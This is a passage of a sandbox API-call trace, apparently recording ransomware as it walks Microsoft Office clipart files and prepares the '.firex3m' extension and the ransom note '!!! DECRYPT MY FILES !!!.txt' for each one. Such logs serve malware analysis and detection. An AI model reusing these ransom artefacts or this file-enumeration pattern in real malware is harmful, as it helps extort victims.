ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0135.763] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 1 [0135.763] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf") returned 0x44 [0135.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.763] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.763] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.763] GetProcessHeap () returned 0x630000 [0135.764] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x686370, Size=0x234) returned 0x686370 [0135.764] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0135.764] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 1 [0135.764] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf") returned 0x44 [0135.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.764] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.764] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.764] GetProcessHeap () returned 0x630000 [0135.764] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x686370, Size=0x238) returned 0x686370 [0135.764] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0135.764] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF", len=0x40 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 1 [0135.764] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF", cchLength=0x40 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf") returned 0x40 [0135.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.765] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.765] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.765] GetProcessHeap () returned 0x630000 [0135.765] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x686370, Size=0x23c) returned 0x6405b0 [0135.765] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0135.765] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 1 [0135.765] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid") returned 0x44 [0135.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.765] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.765] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.766] GetProcessHeap () returned 0x630000 [0135.766] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6405b0, Size=0x240) returned 0x6405b0 [0135.766] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0135.766] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF", len=0x41 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 1 [0135.766] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF", cchLength=0x41 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf") returned 0x41 [0135.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.766] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.766] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.766] GetProcessHeap () returned 0x630000 [0135.766] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6405b0, Size=0x244) returned 0x6405b0 [0135.766] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0135.766] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 1 [0135.767] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf") returned 0x44 [0135.767] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.767] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.767] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.767] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.767] GetProcessHeap () returned 0x630000 [0135.767] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6405b0, Size=0x248) returned 0x6405b0 [0135.767] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0135.767] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF", len=0x3f | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 1 [0135.767] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF", cchLength=0x3f | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf") returned 0x3f [0135.767] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.767] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.767] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.767] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.768] GetProcessHeap () returned 0x630000 [0135.768] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6405b0, Size=0x24c) returned 0x6405b0 [0135.768] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0135.768] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF", len=0x43 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 1 [0135.768] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf") returned 0x43 [0135.768] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.768] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.768] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.768] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.768] GetProcessHeap () returned 0x630000 [0135.768] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6405b0, Size=0x250) returned 0x6405b0 [0135.768] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0135.769] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 1 [0135.769] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf") returned 0x44 [0135.769] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.769] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.769] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.769] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.769] GetProcessHeap () returned 0x630000 [0135.769] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6405b0, Size=0x254) returned 0x6405b0 [0135.769] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0135.769] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 1 [0135.769] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf") returned 0x44 [0135.769] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.769] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.770] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.770] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.770] GetProcessHeap () returned 0x630000 [0135.770] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6405b0, Size=0x258) returned 0x6405b0 [0135.770] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0135.770] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 1 [0135.770] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf") returned 0x44 [0135.770] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.770] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.770] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.770] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.770] GetProcessHeap () returned 0x630000 [0135.770] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6405b0, Size=0x25c) returned 0x670860 [0135.770] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0135.771] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 1 [0135.771] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf") returned 0x44 [0135.771] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.771] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.771] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.771] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.771] GetProcessHeap () returned 0x630000 [0135.771] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x260) returned 0x670860 [0135.771] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0135.771] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 1 [0135.771] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft 